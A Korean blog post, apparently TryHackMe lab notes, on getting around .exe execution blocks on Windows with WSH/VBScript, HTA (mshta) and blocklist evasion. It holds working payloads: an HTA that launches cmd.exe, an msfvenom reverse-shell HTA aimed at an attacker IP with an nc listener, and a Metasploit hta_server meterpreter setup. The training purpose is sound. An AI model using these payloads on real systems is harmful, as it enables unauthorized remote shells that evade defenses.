wonder

정보보안 스터디 - 25주차 5일 - exe파일을 막아놨을 때 본문

Red Team/My 프로젝트

정보보안 스터디 - 25주차 5일 - exe파일을 막아놨을 때

wonder12 2023. 4. 4. 00:59

 

 

많은 조직에서 다운자체를 막거나, 외부에서 다운받은 .exe파일을 실행못하게 막아놓았을 겁니다.

그래서 이런 exe파일을 막았다면 우회방안이 있습니다.

 

windows script host, HTA, 파워쉘, 브라우저를 통해서, USB, 문서PDF,  VBA 매크로 실행 등등이 있습니다.

공격자는 여기에 reverse_shell을 실행시켜 공격자의 서버로 연결하도록합니다. 

 

 

일단 RDP(remote desktop protocol) 로 연결을 합니다.

xfreerdp /v:10.4.17.200 /u:thm /p:TryHackM3 +clipboard

 

윈도우 환경을 원격으로 직접 연결해서 사용이 가능합니다.

 

 

☞ WSH

그 중에서 

Windows scripting host 는 윈도우 자체적으로 깔려있는 실행기능으로

cscript.exe (for command-line scripts)와 wscript.exe (for UI scripts) 모두 가능합니다.

 

VBScript 코드를 작성해서 실행시킬 수 있습니다.

Dim message 
message = "Welcome to THM"
MsgBox message

Dim으로 변수를 지정해주고 MsgBox를 실행시키는 hello.vbs 코드입니다.

이 때 메모장으로 작성하고 확장자추가해줘도 됩니다.

 

 

CMD에서

wscript hello.vbs

실행되는것을 볼 수 있습니다.

 

 

Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

계산기를 PoC로 실행함으로써 exe파일을 실행시킬 수 있다는 걸 보여주는 예시입니다.

Wscript 라이브러리를 불러와서 CreateObject를 실행합니다.

그다음 Run으로 실행시킵니다.  

 

 

wscript c:\Users\thm\Desktop\cal.vbs

 

도 가능하고

 

cscript.exe c:\Users\thm\Desktop\cal.vbs

 

도 가능하다는 겁니다.

 

 

wscript /e:VBScript c:\Users\thm\Desktop\cal.txt

만약 VBS파일도 블랙리스트 되었으면 txt로 코드를 만들고 실행은 VBScript로 실행시킬 수 있습니다. 

 

 

 

 다음은 HTA(HTML Application) 입니다.

윈도우 자체적으로 만들어진 기능(LOLBAS, LOLBINS - mshta)이라 탐지우회가 쉽고, 피해자가 들어가자마자 바로 실행할 수 있기 때문에 exe실행파일을 넣어서 실행시키면됩니다. 자바스크립트나 VBScript 도 HTML에서 바로 실행이 가능해서 다운된 hta를 run만 눌러주면 실행가능합니다.

exe파일 대신 대안으로 아주 좋습니다.

 

<html>
<body>
<script>
	var c= 'cmd.exe'
	new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

 

payload.hta를 만들고

 

python3 -m http.server 8090

공격자 서버에서 http 서버를 간단하게 파이썬으로 만듭니다.

 

 

 

 

 

 

그러면 현재 디렉토리를 피해자 브라우저에서 http://10.4.17.200:8090로 들어갔을 때 리스팅해서 파일들이 뜹니다.

 

또는  http://10.4.17.200:8090/payload.hta
바로 다운받도록 할 수도 있겠죠.

 

 

 

1)

응용으로 reverse_tcp을 연결시키면 되겠습니다.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.232.37 LPORT=443 -f hta-psh -o thm.hta

msfvenom으로 간단하게 페이로드를 만듭니다.

 

이 때 nc -vlp 443 으로 리슨 해줘야합니다.

 

 

 

2)

use exploit/windows/misc/hta_server
~
set payload windows/meterpreter/reverse_tcp
exploit

또는 msfconsole -q 에서 server를 바로 만들어줘서 리슨상태로 만들 수도 있습니다.

 

 

그렇게 되면 이 URL로 들어가면 바로 meterpreter 세션 연결이 됩니다.

 

 

 

 

 

 

 

Comments